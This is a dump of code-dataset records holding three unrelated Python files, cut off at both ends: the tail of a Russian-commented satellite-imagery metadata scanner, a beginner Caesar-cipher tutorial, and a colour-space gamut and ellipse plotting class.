r\"Z:\\Геоданные\\Полноразмерные примеры снимков\\ZY3_China\"\n# src_dir = r\"E:\\!Go\\temp\\imagery\"\nsrc_dir = r\"U:\\PRJ\\2015\\T3\\Финальный Диск 2\"\n\nimage_list = [] # сюда будут записываться найденные снимки\ncounter = 0 # счётчик отсканированных снимков\n\n\ndef im_scrape(target_file_path):\n \"\"\" последовательный посик снимков в исходной директории\n :param file_name: название файла для поиска\n :param path: корневая директория файла\n :return список из найденных снимков (в виде словарей)\n \"\"\"\n global image_list\n # global filename\n global counter\n global zfile\n global item\n\n file_name = os.path.basename(target_file_path)\n dir_name = os.path.dirname(target_file_path)\n try:\n # поиск метаданных DG\n if re.match(r'\\d{2}\\D{3}.+P\\d+\\.XML$', file_name, re.IGNORECASE) is not None: # DG\n counter += 1\n tag_values_list = xml_find(\n target_file_path, ['SATID', 'FIRSTLINETIME', 'CLOUDCOVER', 'MEANOFFNADIRVIEWANGLE', 'MEANSUNEL',\n 'MEANSUNAZ'])\n acq_datetime = date_formatter(tag_values_list['FIRSTLINETIME'])\n cloud_cover = int(round(float(tag_values_list['CLOUDCOVER']), 2) * 100)\n form_image_dict(\n tag_values_list['SATID'], acq_datetime, cloud_cover, tag_values_list['MEANOFFNADIRVIEWANGLE'],\n tag_values_list['MEANSUNEL'], file_name, dir_name)\n\n if re.match(r'TH\\d{2}.+\\d+\\.XML$', file_name, re.IGNORECASE) is not None: # TH-1\n counter += 1\n tag_values_list = xml_find(\n target_file_path, ['SatelliteID', 'SceneStartTime', 'CloudCoverQuote', 'ViewingAngle', 'SunElevation'])\n assert tag_values_list['SatelliteID'].split('-')[0] == 'TH01', '\"SatelliteID\" tag is not \"TH01\"'\n sat_name = tag_values_list['SatelliteID'].split('-')[0]\n acq_datetime = date_formatter(tag_values_list['SceneStartTime'])\n form_image_dict(\n sat_name, acq_datetime, tag_values_list['CloudCoverQuote'], tag_values_list['ViewingAngle'],\n tag_values_list['SunElevation'], file_name, dir_name)\n\n if re.match(r'GF\\d*.+\\d+\\.XML', file_name, re.IGNORECASE) is not None: # GF-1\n counter += 1\n tag_values_list = xml_find(\n file_path, ['SatelliteID', 'StartTime', 'CloudPercent', 'YawSatelliteAngle',\n 'SolarZenith'])\n assert tag_values_list['SatelliteID'].split('-')[0] == 'GF1', '\"SatelliteID\" tag is not \"GF1\"'\n sat_name = 'GF01'\n # выясняем формат даты и времени\n acq_datetime = date_formatter(tag_values_list['StartTime'])\n form_image_dict(\n sat_name, acq_datetime, tag_values_list['CloudPercent'], tag_values_list['YawSatelliteAngle'],\n abs(180 - 90 - float(tag_values_list['SolarZenith'])), file_name, dir_name)\n\n if re.match(r'\\d{7}-.+RU\\.XML$', file_name, re.IGNORECASE) is not None: # BKA\n counter += 1\n tag_values_list = xml_find(\n target_file_path, ['Satellite', 'Acquisition_Time_GMT', 'Percent_Cloud_Cover', 'Viewing_Angle',\n 'Sun_Elevation'])\n assert tag_values_list['Satellite'] == 'БКА', '\"SatelliteID\" tag is not \"БКА\"'\n sat_name = 'BKA1'\n acq_datetime = date_formatter(tag_values_list['Acquisition_Time_GMT'])\n # убираем из названия снимка\n file_name = file_name.replace('_pasp-ru', '')\n form_image_dict(sat_name, acq_datetime, tag_values_list['Percent_Cloud_Cover'],\n tag_values_list['Viewing_Angle'], tag_values_list['Sun_Elevation'], file_name, dir_name)\n\n if re.match(r'SPOT\\d*.+\\d+\\.XML', file_name, re.IGNORECASE) is not None: # SPOT\n counter += 1\n tag_values_list = xml_find(\n target_file_path, ['MISSION', 'MISSION_INDEX', 'START', 'VIEWING_ANGLE', 'SUN_ELEVATION'])\n sat_name = tag_values_list['MISSION'] + tag_values_list['MISSION_INDEX']\n acq_datetime = date_formatter(tag_values_list['START'])\n cloud_cover = 'undefined'\n off_nadir = tag_values_list['VIEWING_ANGLE']\n sun_elev = tag_values_list['SUN_ELEVATION']\n form_image_dict(sat_name, acq_datetime, cloud_cover, off_nadir, sun_elev, file_name, dir_name)\n # TODO добавить поддержку rar для SPOT\n\n if file_name.endswith('.zip'): # zip-архив (с потенциальными снимками)\n try:\n with zipfile.ZipFile(target_file_path, 'r') as zfile:\n for item in zfile.namelist():\n im_scrape(item)\n except FileNotFoundError:\n zfiledata = io.BytesIO(zfile.read(item))\n with zipfile.ZipFile(zfiledata) as zfile:\n for item in zfile.namelist():\n im_scrape(item)\n\n # TODO-basile выводить все потенциально подходящие, но забракованные файлы/директории в отдельный лог\n except zipfile.BadZipfile:\n print('Битый архив: {}'.format(file_path))\n\n\ndef form_image_dict(\n sat_name, acq_datetime, cloud_pct, off_nadir, sun_elev, filename, dirname):\n \"\"\" Берём значения параметров снимка, стандартизуем и формируем из них словарь и добавляем в список снимков \"\"\"\n print(\"Работаем с\", dirname)\n acq_date = datetime.date.strftime(acq_datetime.date(), '%d.%m.%Y')\n # TODO разобраться со значениями cloud_pct для всех спутников\n try:\n cloud_pct = int(cloud_pct)\n except ValueError:\n cloud_pct = None\n # округляем угол отклонения в меньшую сторону\n off_nadir = decimal.Decimal(off_nadir).quantize(decimal.Decimal(1), rounding=decimal.ROUND_DOWN)\n off_nadir = abs(int(off_nadir))\n # округляем угол солнца в большую сторону\n sun_elev = decimal.Decimal(sun_elev).quantize(decimal.Decimal(1), rounding=decimal.ROUND_UP)\n sun_elev = abs(int(sun_elev))\n # TODO-basile добавить проверку на наличие снимка в БД (с присвоением номера части и игнором повторов)\n image = {'sat_name': sat_name, 'acq_date': acq_date, 'cloud_pct': cloud_pct, 'off_nadir': off_nadir,\n 'sun_elev': sun_elev, 'filename': filename.split('.')[0], 'dirname': dirname}\n image_list.append(image)\n\n\ndef xml_find(target_file_path, tag_list):\n \"\"\"\n сканирует xml-файл метаданных, возвращая значения заданных тегов в виде списка\n\n :param target_file_path: целевой файл для поиска параметров\n :param tag_list: список тэгов для поиска в метаданных\n :return: список значений искомых тегов\n \"\"\"\n try:\n xml = etree.parse(target_file_path)\n # если файл - в архиве\n except OSError:\n xml = etree.parse(zfile.open(target_file_path))\n root = xml.getroot()\n tag_values_list = {}\n for tag in tag_list:\n # обратные слеши позволяют искать по всем элементам xml, а не только по детям корневого элемента\n tag_values_list[tag] = root.findtext('.//' + tag)\n return tag_values_list\n\n\ndef date_formatter(date_string):\n \"\"\"\n Выясняет формат записи даты и времени, возвращает дату в фомате datetime\n :param date_string: дата и время в форме строки\n :return: datetime object\n \"\"\"\n if re.match(r'\\d{4}-\\d{2}-\\d{2}.\\d{2}:\\d{2}:\\d{2}$', date_string) is not None: # BKA, ZY-3 вариант 1\n try:\n return datetime.datetime.strptime(date_string, '%Y-%m-%d %H:%M:%S')\n except ValueError:\n return datetime.datetime.strptime(date_string, '%Y-%m-%dT%H:%M:%S')\n elif re.match(r'\\d{14}\\.\\d+', date_string) is not None: # ZY-3 вариант 2\n return datetime.datetime.strptime(date_string, '%Y%m%d%H%M%S.%f')\n elif re.match(r'\\d{4}.\\d{2}.\\d{2}.\\d{2}:\\d{2}:\\d{2}\\.\\d+.?$', date_string) is not None: # DG, TH-1 и т.д.\n # TODO реализовать эти 2 пункта че��ез подобные исключения?\n try:\n return datetime.datetime.strptime(date_string, '%Y-%m-%dT%H:%M:%S.%fZ')\n except ValueError:\n return datetime.datetime.strptime(date_string, '%Y %m %d %H:%M:%S.%f')\n\n\n# def zipped_zip_search(archive_name, zipped_data):\n# global zfile\n# global item\n# zfiledata = io.BytesIO(archive_name.read(zipped_data))\n# with zipfile.ZipFile(zfiledata) as zfile:\n# for item in zfile.namelist():\n# im_scrape(item)\n\n\nfor dirpath, dirnames, filenames in os.walk(src_dir):\n for filename in filenames:\n file_path = os.path.join(dirpath, filename)\n im_scrape(file_path)\n\n\nprint('='*80)\nfor key, value in sorted(image_list[0].items()):\n print(key, ':', value)\n\nprint(\"\\nВсего снимков найдено: {}\".format(len(image_list)))\n\nsync(image_list)\n","sub_path":"Scripts/ex/meta_scan_DM15.py","file_name":"meta_scan_DM15.py","file_ext":"py","file_size_in_byte":10616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"169711838","text":"\"\"\"\n\tOur previous scripts all functioned as standalone programs,\n\twhere the whole program is dedicated to one single task.\n\t\n\tIf we wanted to incorporate that task into a larger program,\n\twe can \"wrap the task into a function.\" \n\t\n\tFunctions are a named block of code that we can call\n\twhenever we need to do a task that might be repetitive \n\tto type out every single time it needs to be done.\n\t\t\t\n\"\"\"\n\ndef encode_string():\n\tstring_to_encode = input(\"Please enter a message to encode! [ PRESS ENTER TO ENCODE ] :\")\n\tstring_to_encode = string_to_encode.upper()\n\toutput_string = \"\"\n\tno_translate = \"., ?!\"\n\tcharacter_offset = 6\n\tfor character in string_to_encode:\n\t\tif character in no_translate:\n\t\t\tnew_character = character\n\t\telse:\n\t\t\tascii_code = ord(character)\n\t\t\tnew_ascii_code = ascii_code + character_offset\n\t\t\tif new_ascii_code > 90:\n\t\t\t\tnew_ascii_code -= 25\n\t\t\tnew_character = chr(new_ascii_code)\n\t\toutput_string += new_character\n\tprint(output_string)\n\t\n\"\"\"\n\tAt this point in our script, nothing will happen on screen. \n\tAll we have done is to *define* the function, now it's ready\n\tto be *called.*\n\t\n\"\"\"\n\nprint(\"Welcome to our first Caesar Cipher script\")\nprint(\"Let's call our first function!\")\n\n\"\"\"\n\tFunctions need to be called with the parentheses like below,\n\totherwise they'll be treated like variables -\n\tand since we didn't create a variable named encode_string,\n\tour program won't work properly (or at all).\n\n\tThe best part of this is that, if we wanted to encode 7 different\n\tstrings in the same way, we only need to call the function\n\t7 times - rather than typing out the whole instruction list\n\teach and every time.\n\t\n\"\"\"\nencode_string()\nencode_string()\nencode_string()\nencode_string()\nencode_string()\nencode_string()\nencode_string()\n\n","sub_path":"caesar_7.py","file_name":"caesar_7.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"256960353","text":"import os\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy\nimport yaml\nfrom matplotlib.patches import Ellipse\n\nfrom ._hdr import HdrLinear\nfrom ._srgb import SrgbLinear\nfrom ._tools import get_mono_outline_xy, get_munsell_data, spectrum_to_xyz100\nfrom .illuminants import whitepoints_cie1931\nfrom .observers import cie_1931_2\n\n\nclass ColorSpace:\n def __init__(self):\n return\n\n def save_visible_gamut(self, observer, illuminant, filename, cut_000=False):\n from scipy.spatial import ConvexHull\n import meshio\n\n lmbda, illu = illuminant\n values = []\n\n # Iterate over every possible illuminant input and store it in values\n n = len(lmbda)\n values = numpy.empty((n * (n - 1) + 2, 3))\n k = 0\n\n # No light\n data = numpy.zeros(n)\n values[k] = spectrum_to_xyz100((lmbda, illu * data), observer=observer)\n k += 1\n # frequency blocks\n for width in range(1, n):\n data = numpy.zeros(n)\n data[:width] = 1.0\n for _ in range(n):\n values[k] = spectrum_to_xyz100((lmbda, illu * data), observer=observer)\n k += 1\n data = numpy.roll(data, shift=1)\n # Full illuminant\n data = numpy.ones(len(lmbda))\n values[k] = spectrum_to_xyz100((lmbda, illu * data), observer=observer)\n k += 1\n\n # scale the values such that the Y-coordinate of the white point (last entry)\n # has value 100.\n values *= 100 / values[-1][1]\n\n cells = ConvexHull(values).simplices\n\n if cut_000:\n values = values[1:]\n cells = cells[~numpy.any(cells == 0, axis=1)]\n cells -= 1\n\n pts = self.from_xyz100(values.T).T\n\n meshio.write_points_cells(filename, pts, cells={\"triangle\": cells})\n return\n\n def save_srgb_gamut(self, filename, n=50, cut_000=False):\n import meshio\n import meshzoo\n\n points, cells = meshzoo.cube(nx=n, ny=n, nz=n)\n\n if cut_000:\n # cut off [0, 0, 0] to avoid division by 0 in the xyz conversion\n points = points[1:]\n cells = cells[~numpy.any(cells == 0, axis=1)]\n cells -= 1\n\n srgb_linear = SrgbLinear()\n pts = self.from_xyz100(srgb_linear.to_xyz100(points.T)).T\n assert pts.shape[1] == 3\n rgb = srgb_linear.to_srgb1(points)\n meshio.write_points_cells(\n filename, pts, {\"tetra\": cells}, point_data={\"srgb\": rgb}\n )\n return\n\n def save_hdr_gamut(self, filename, n=50, cut_000=False):\n import meshio\n import meshzoo\n\n points, cells = meshzoo.cube(nx=n, ny=n, nz=n)\n\n if cut_000:\n # cut off [0, 0, 0] to avoid division by 0 in the xyz conversion\n points = points[1:]\n cells = cells[~numpy.any(cells == 0, axis=1)]\n cells -= 1\n\n hdr = HdrLinear()\n pts = self.from_xyz100(hdr.to_xyz100(points.T)).T\n rgb = hdr.to_hdr1(points)\n meshio.write_points_cells(\n filename, pts, {\"tetra\": cells}, point_data={\"hdr-rgb\": rgb}\n )\n return\n\n def save_cone_gamut(self, filename, observer, max_Y):\n import meshio\n import pygmsh\n\n geom = pygmsh.built_in.Geometry()\n\n max_stepsize = 4.0e-2\n xy, _ = get_mono_outline_xy(observer, max_stepsize=max_stepsize)\n\n # append third component\n xy = numpy.column_stack([xy, numpy.full(xy.shape[0], 1.0e-5)])\n\n # Draw a cross.\n poly = geom.add_polygon(xy, lcar=max_stepsize)\n\n axis = [0, 0, max_Y]\n\n geom.extrude(poly, translation_axis=axis, point_on_axis=[0, 0, 0])\n\n mesh = pygmsh.generate_mesh(geom, verbose=False)\n # meshio.write(filename, mesh)\n\n pts = self.from_xyz100(_xyy_to_xyz100(mesh.points.T)).T\n meshio.write_points_cells(filename, pts, {\"tetra\": mesh.cells[\"tetra\"]})\n return\n\n def show_macadam(self, *args, **kwargs):\n self.plot_macadam(*args, **kwargs)\n plt.show()\n return\n\n def save_macadam(self, filename, *args, **kwargs):\n self.plot_macadam(*args, **kwargs)\n plt.savefig(filename, transparent=True, bbox_inches=\"tight\")\n return\n\n def plot_macadam(\n self,\n level,\n outline_prec=1.0e-2,\n plot_srgb_gamut=True,\n ellipse_scaling=10.0,\n visible_gamut_fill_color=\"0.8\",\n ):\n # Extract ellipse centers and offsets from MacAdams data\n dir_path = os.path.dirname(os.path.realpath(__file__))\n with open(os.path.join(dir_path, \"data/macadam1942/table3.yaml\")) as f:\n data = yaml.safe_load(f)\n #\n # collect the ellipse centers and offsets\n xy_centers = []\n xy_offsets = []\n for datak in data:\n # collect ellipse points\n _, _, _, _, delta_y_delta_x, delta_s = numpy.array(datak[\"data\"]).T\n offset = (\n numpy.array([numpy.ones(delta_y_delta_x.shape[0]), delta_y_delta_x])\n / numpy.sqrt(1 + delta_y_delta_x ** 2)\n * delta_s\n )\n if offset.shape[1] < 2:\n continue\n xy_centers.append([datak[\"x\"], datak[\"y\"]])\n xy_offsets.append(numpy.column_stack([+offset, -offset]))\n\n self._plot_ellipses(\n xy_centers,\n xy_offsets,\n level,\n outline_prec=outline_prec,\n plot_srgb_gamut=plot_srgb_gamut,\n ellipse_scaling=ellipse_scaling,\n visible_gamut_fill_color=visible_gamut_fill_color,\n )\n return\n\n def show_luo_rigg(self, *args, **kwargs):\n self.plot_luo_rigg(*args, **kwargs)\n plt.show()\n return\n\n def save_luo_rigg(self, filename, *args, **kwargs):\n self.plot_luo_rigg(*args, **kwargs)\n plt.savefig(filename, transparent=True, bbox_inches=\"tight\")\n return\n\n def plot_luo_rigg(\n self, level, outline_prec=1.0e-2, plot_srgb_gamut=True, ellipse_scaling=2.0\n ):\n # M. R. Luo, B. Rigg,\n # Chromaticity Discrimination Ellipses for Surface Colours,\n # Color Research and Application, Volume 11, Issue 1, Spring 1986, Pages 25-42,\n # .\n dir_path = os.path.dirname(os.path.realpath(__file__))\n with open(os.path.join(dir_path, \"data/luo-rigg/luo-rigg.yaml\")) as f:\n data = yaml.safe_load(f)\n #\n xy_centers = []\n xy_offsets = []\n # collect the ellipse centers and offsets\n # Use four offset points of each ellipse, one could take more\n alpha = 2 * numpy.pi * numpy.linspace(0.0, 1.0, 16, endpoint=False)\n pts = numpy.array([numpy.cos(alpha), numpy.sin(alpha)])\n for data_set in data.values():\n # The set factor is the mean of the R values\n # set_factor = sum([dat[-1] for dat in data_set.values()]) / len(data_set)\n for dat in data_set.values():\n x, y, Y, a, a_div_b, theta_deg, _ = dat\n theta = theta_deg * 2 * numpy.pi / 360\n a /= 1.0e4\n a *= (Y / 30) ** 0.2\n b = a / a_div_b\n # plot the ellipse\n xy_centers.append([x, y])\n J = numpy.array(\n [\n [+a * numpy.cos(theta), -b * numpy.sin(theta)],\n [+a * numpy.sin(theta), +b * numpy.cos(theta)],\n ]\n )\n xy_offsets.append(numpy.dot(J, pts))\n\n self._plot_ellipses(\n xy_centers,\n xy_offsets,\n level,\n outline_prec=outline_prec,\n plot_srgb_gamut=plot_srgb_gamut,\n ellipse_scaling=ellipse_scaling,\n )\n return\n\n def _plot_ellipses(\n self,\n xy_centers,\n xy_offsets,\n level,\n outline_prec=1.0e-2,\n plot_srgb_gamut=True,\n ellipse_scaling=10.0,\n visible_gamut_fill_color=\"0.8\",\n ):\n from scipy.optimize import leastsq\n\n self.plot_visible_slice(\n level,\n outline_prec=outline_prec,\n plot_srgb_gamut=plot_srgb_gamut,\n fill_color=visible_gamut_fill_color,\n )\n\n for center, offset in zip(xy_centers, xy_offsets):\n # get all the approximate ellipse points in xy space\n xy_ellipse = (center + offset.T).T\n\n tcenter = self._bisect(center, self.k0, level)\n tvals = numpy.array(\n [self._bisect(xy, self.k0, level) for xy in xy_ellipse.T]\n )\n\n # cut off the irrelevant index\n k1, k2 = [k for k in [0, 1, 2] if k != self.k0]\n tcenter = tcenter[[k1, k2]]\n tvals = tvals[:, [k1, k2]]\n\n # Given these new transformed vals, find the ellipse that best fits those\n # points\n X = (tvals - tcenter).T\n\n def f_ellipse(a_b_theta):\n a, b, theta = a_b_theta\n sin_t = numpy.sin(theta)\n cos_t = numpy.cos(theta)\n return (\n +(a ** 2) * (X[0] * cos_t + X[1] * sin_t) ** 2\n + b ** 2 * (X[0] * sin_t - X[1] * cos_t) ** 2\n - 1.0\n )\n\n def jac(a_b_theta):\n a, b, theta = a_b_theta\n x0sin = X[0] * numpy.sin(theta)\n x0cos = X[0] * numpy.cos(theta)\n x1sin = X[1] * numpy.sin(theta)\n x1cos = X[1] * numpy.cos(theta)\n return numpy.array(\n [\n +2 * a * (x0cos + x1sin) ** 2,\n +2 * b * (x0sin - x1cos) ** 2,\n +(a ** 2) * 2 * (x0cos + x1sin) * (-x0sin + x1cos)\n + b ** 2 * 2 * (x0sin - x1cos) * (x0cos + x1sin),\n ]\n ).T\n\n # We need to use some optimization here to find the new ellipses which best\n # fit the modified data.\n (a, b, theta), _ = leastsq(f_ellipse, [1.0, 1.0, 0.0], Dfun=jac)\n\n # plot the scaled ellipse\n e = Ellipse(\n xy=tcenter,\n width=ellipse_scaling * 2 / a,\n height=ellipse_scaling * 2 / b,\n angle=theta / numpy.pi * 180,\n # label=label,\n )\n plt.gca().add_artist(e)\n e.set_alpha(0.5)\n e.set_facecolor(\"k\")\n\n # plt.plot(tvals[:, 0], tvals[:, 1], \"xk\")\n return\n\n def show_visible_slice(self, *args, **kwargs):\n self.plot_visible_slice(*args, **kwargs)\n plt.show()\n return\n\n def save_visible_slice(self, filename, *args, **kwargs):\n self.plot_visible_slice(*args, **kwargs)\n plt.savefig(filename, transparent=True, bbox_inches=\"tight\")\n return\n\n def plot_visible_slice(\n self, level, outline_prec=1.0e-2, plot_srgb_gamut=True, fill_color=\"0.8\"\n ):\n # first plot the monochromatic outline\n mono_xy, conn_xy = get_mono_outline_xy(\n observer=cie_1931_2(), max_stepsize=outline_prec\n )\n\n mono_vals = numpy.array([self._bisect(xy, self.k0, level) for xy in mono_xy])\n conn_vals = numpy.array([self._bisect(xy, self.k0, level) for xy in conn_xy])\n\n k1, k2 = [k for k in [0, 1, 2] if k != self.k0]\n plt.plot(mono_vals[:, k1], mono_vals[:, k2], \"-\", color=\"k\")\n plt.plot(conn_vals[:, k1], conn_vals[:, k2], \":\", color=\"k\")\n #\n if fill_color is not None:\n xyz = numpy.vstack([mono_vals, conn_vals[1:]])\n plt.fill(xyz[:, k1], xyz[:, k2], facecolor=fill_color, zorder=0)\n\n if plot_srgb_gamut:\n self._plot_srgb_gamut(self.k0, level)\n\n plt.axis(\"equal\")\n plt.xlabel(self.labels[k1])\n plt.ylabel(self.labels[k2])\n plt.title(f\"{self.labels[self.k0]} = {level}\")\n return\n\n def _plot_srgb_gamut(self, k0, level, bright=False):\n import meshzoo\n\n # Get all RGB values that sum up to 1.\n srgb_vals, triangles = meshzoo.triangle(n=50, corners=[[0, 0], [1, 0], [0, 1]])\n srgb_vals = numpy.column_stack([srgb_vals, 1.0 - numpy.sum(srgb_vals, axis=1)])\n\n # matplotlib is sensitive when it comes to srgb values, so take good care here\n assert numpy.all(srgb_vals > -1.0e-10)\n srgb_vals[srgb_vals < 0.0] = 0.0\n\n # Use bisection to\n srgb_linear = SrgbLinear()\n tol = 1.0e-5\n # Use zeros() instead of empty() here to avoid invalid values when setting up\n # the cmap below.\n self_vals = numpy.zeros((srgb_vals.shape[0], 3))\n srgb_linear_vals = numpy.zeros((srgb_vals.shape[0], 3))\n mask = numpy.ones(srgb_vals.shape[0], dtype=bool)\n for k, val in enumerate(srgb_vals):\n alpha_min = 0.0\n xyz100 = srgb_linear.to_xyz100(val * alpha_min)\n self_val_min = self.from_xyz100(xyz100)\n if self_val_min[k0] > level:\n mask[k] = False\n continue\n\n alpha_max = 1.0 / numpy.max(val)\n\n xyz100 = srgb_linear.to_xyz100(val * alpha_max)\n self_val_max = self.from_xyz100(xyz100)\n if self_val_max[k0] < level:\n mask[k] = False\n continue\n\n while True:\n alpha = (alpha_max + alpha_min) / 2\n srgb_linear_vals[k] = val * alpha\n xyz100 = srgb_linear.to_xyz100(srgb_linear_vals[k])\n self_val = self.from_xyz100(xyz100)\n if abs(self_val[k0] - level) < tol:\n break\n elif self_val[k0] < level:\n alpha_min = alpha\n else:\n assert self_val[k0] > level\n alpha_max = alpha\n self_vals[k] = self_val\n\n # Remove all triangles which have masked corner points\n tri_mask = numpy.all(mask[triangles], axis=1)\n if ~numpy.any(tri_mask):\n return\n triangles = triangles[tri_mask]\n\n # Unfortunately, one cannot use tripcolors with explicit RGB specification (see\n # ). As a workaround,\n # associate range(n) data with the points and create a colormap that associates\n # the integer values with the respective RGBs.\n z = numpy.arange(srgb_vals.shape[0])\n rgb = srgb_linear.to_srgb1(srgb_linear_vals)\n cmap = matplotlib.colors.LinearSegmentedColormap.from_list(\n \"gamut\", rgb, N=len(rgb)\n )\n\n k1, k2 = [k for k in [0, 1, 2] if k != k0]\n\n plt.tripcolor(\n self_vals[:, k1],\n self_vals[:, k2],\n triangles,\n z,\n shading=\"gouraud\",\n cmap=cmap,\n )\n # plt.triplot(self_vals[:, k1], self_vals[:, k2], triangles=triangles)\n return\n\n def _bisect(self, xy, k0, level):\n tol = 1.0e-5\n x, y = xy\n # Use bisection to find a matching Y value that projects the xy into the\n # given level.\n min_Y = 0.0\n xyz100 = numpy.array([min_Y / y * x, min_Y, min_Y / y * (1 - x - y)]) * 100\n min_val = self.from_xyz100(xyz100)[k0]\n assert min_val <= level\n\n # search for an appropriate max_Y to start with\n max_Y = 1.0\n while True:\n xyz100 = numpy.array([max_Y / y * x, max_Y, max_Y / y * (1 - x - y)]) * 100\n max_val = self.from_xyz100(xyz100)[k0]\n if max_val >= level:\n break\n max_Y *= 2\n\n while True:\n Y = (max_Y + min_Y) / 2\n xyz100 = numpy.array([Y / y * x, Y, Y / y * (1 - x - y)]) * 100\n val = self.from_xyz100(xyz100)\n if abs(val[k0] - level) < tol:\n break\n elif val[k0] > level:\n max_Y = Y\n else:\n assert val[k0] < level\n min_Y = Y\n\n return val\n\n def show_ebner_fairchild(self):\n self.plot_ebner_fairchild()\n plt.show()\n return\n\n def save_ebner_fairchild(self, filename):\n self.plot_ebner_fairchild()\n plt.savefig(filename, transparent=True, bbox_inches=\"tight\")\n return\n\n def plot_ebner_fairchild(self):\n dir_path = os.path.dirname(os.path.realpath(__file__))\n with open(os.path.join(dir_path, \"data/ebner_fairchild.yaml\")) as f:\n data = yaml.safe_load(f)\n\n wp = numpy.array(data[\"white point\"])\n\n d = [\n numpy.column_stack([dat[\"reference xyz\"], numpy.array(dat[\"same\"]).T])\n for dat in data[\"data\"]\n ]\n\n _plot_color_constancy_data(d, wp, self)\n return\n\n def show_hung_berns(self):\n self.plot_hung_berns()\n plt.show()\n return\n\n def save_hung_berns(self, filename):\n self.plot_hung_berns()\n plt.savefig(filename, transparent=True, bbox_inches=\"tight\")\n return\n\n def plot_hung_berns(self):\n dir_path = os.path.dirname(os.path.realpath(__file__))\n with open(os.path.join(dir_path, \"data/hung-berns/table3.yaml\")) as f:\n data = yaml.safe_load(f)\n\n wp = whitepoints_cie1931[\"C\"]\n d = [numpy.array(list(color.values())).T for color in data.values()]\n _plot_color_constancy_data(d, wp, self)\n return\n\n def show_xiao(self):\n self.plot_xiao()\n plt.show()\n return\n\n def save_xiao(self, filename):\n self.plot_xiao()\n plt.savefig(filename, transparent=True, bbox_inches=\"tight\")\n return\n\n def plot_xiao(self):\n dir_path = os.path.dirname(os.path.realpath(__file__))\n\n filenames = [\n \"unique_blue.yaml\",\n \"unique_green.yaml\",\n \"unique_red.yaml\",\n \"unique_yellow.yaml\",\n ]\n\n data = []\n for filename in filenames:\n with open(os.path.join(dir_path, \"data\", \"xiao\", filename)) as f:\n dat = numpy.array(yaml.safe_load(f))\n # average over all observers and sessions\n data.append(numpy.sum(dat, axis=(0, 1)) / numpy.prod(dat.shape[:2]))\n\n data = numpy.array(data)\n\n # Use Xiao's 'neutral gray' as white point.\n with open(os.path.join(dir_path, \"data/xiao/neutral_gray.yaml\")) as f:\n ng_data = numpy.array(yaml.safe_load(f))\n\n ng = numpy.sum(ng_data, axis=0) / numpy.prod(ng_data.shape[:1])\n\n data = numpy.moveaxis(data, 1, 2)\n\n _plot_color_constancy_data(data, ng, self)\n return\n\n def show_munsell(self, V):\n self.plot_munsell(V)\n plt.show()\n return\n\n def save_munsell(self, filename, V):\n self.plot_munsell(V)\n plt.savefig(filename, transparent=True, bbox_inches=\"tight\")\n return\n\n def plot_munsell(self, V):\n _, v, _, xyy = get_munsell_data()\n\n # pick the data from the given munsell level\n xyy = xyy[:, v == V]\n\n x, y, Y = xyy\n xyz100 = numpy.array([Y / y * x, Y, Y / y * (1 - x - y)])\n vals = self.from_xyz100(xyz100)\n\n srgb = SrgbLinear()\n rgb = srgb.from_xyz100(xyz100)\n is_legal_srgb = numpy.all((0 <= rgb) & (rgb <= 1), axis=0)\n\n idx = [0, 1, 2]\n k1, k2 = idx[: self.k0] + idx[self.k0 + 1 :]\n\n # plot the ones that cannot be represented in SRGB\n plt.plot(\n vals[k1, ~is_legal_srgb],\n vals[k2, ~is_legal_srgb],\n \"o\",\n color=\"white\",\n markeredgecolor=\"black\",\n )\n # plot the srgb dots\n for val, rgb_ in zip(vals[:, is_legal_srgb].T, rgb[:, is_legal_srgb].T):\n plt.plot(val[k1], val[k2], \"o\", color=srgb.to_srgb1(rgb_))\n\n plt.grid()\n plt.title(\"V={}\".format(V))\n plt.xlabel(self.labels[k1])\n plt.ylabel(self.labels[k2])\n plt.axis(\"equal\")\n return\n\n\ndef _plot_color_constancy_data(\n data_xyz100, wp_xyz100, colorspace, approximate_colors_in_srgb=False\n):\n # k0 is the coordinate that corresponds to \"lightness\"\n k0 = colorspace.k0\n\n k1, k2 = [k for k in [0, 1, 2] if k != k0]\n\n wp = colorspace.from_xyz100(wp_xyz100)[[k1, k2]]\n srgb = SrgbLinear()\n for xyz in data_xyz100:\n d = colorspace.from_xyz100(xyz)[[k1, k2]]\n\n # There are numerous possibilities of defining the \"best\" approximating line for\n # a bunch of points (x_i, y_i). For example, one could try and minimize the\n # expression\n # sum_i (-numpy.sin(theta) * x_i + numpy.cos(theta) * y_i) ** 2\n # over theta, which means to minimize the orthogonal component of (x_i, y_i) to\n # (cos(theta), sin(theta)).\n #\n # A more simple and effective approach is to use the average of all points,\n # theta = arctan(sum(y_i) / sum(x_i)).\n # This also fits in nicely with minimization problems which move around the\n # points to minimize the difference from the average,\n #\n # sum_j (y_j / x_j - bar{y} / bar{x}) ** 2 -> min,\n # sum_j (y_j bar{x} - x_j bar{y}) ** 2 -> min.\n #\n # Plot it from wp to the outmost point\n avg = numpy.sum(d, axis=1) / d.shape[1]\n length = numpy.sqrt(numpy.max(numpy.einsum(\"ij,ij->i\", d.T - wp, d.T - wp)))\n end_point = wp + length * (avg - wp) / numpy.sqrt(numpy.sum((avg - wp) ** 2))\n plt.plot([wp[0], end_point[0]], [wp[1], end_point[1]], \"-\", color=\"0.5\")\n\n for dd, rgb in zip(d.T, srgb.from_xyz100(xyz).T):\n if approximate_colors_in_srgb:\n is_legal_srgb = True\n rgb[rgb > 1] = 1\n rgb[rgb < 0] = 0\n else:\n is_legal_srgb = numpy.all(rgb >= 0) and numpy.all(rgb <= 1)\n col = srgb.to_srgb1(rgb) if is_legal_srgb else \"white\"\n ecol = srgb.to_srgb1(rgb) if is_legal_srgb else \"black\"\n plt.plot(dd[0], dd[1], \"o\", color=col, markeredgecolor=ecol)\n\n plt.xlabel(colorspace.labels[k1])\n plt.ylabel(colorspace.labels[k2])\n plt.grid()\n plt.axis(\"equal\")\n return\n\n\ndef _xyy_from_xyz100(xyz):\n sum_xyz = numpy.sum(xyz, axis=0)\n x = xyz[0]\n y = xyz[1]\n return numpy.array([x / sum_xyz, y / sum_xyz, y / 100])\n\n\ndef _xyy_to_xyz100(xyy):\n x, y, Y = xyy\n return numpy.array([Y / y * x, Y, Y / y * (1 - x - y)]) * 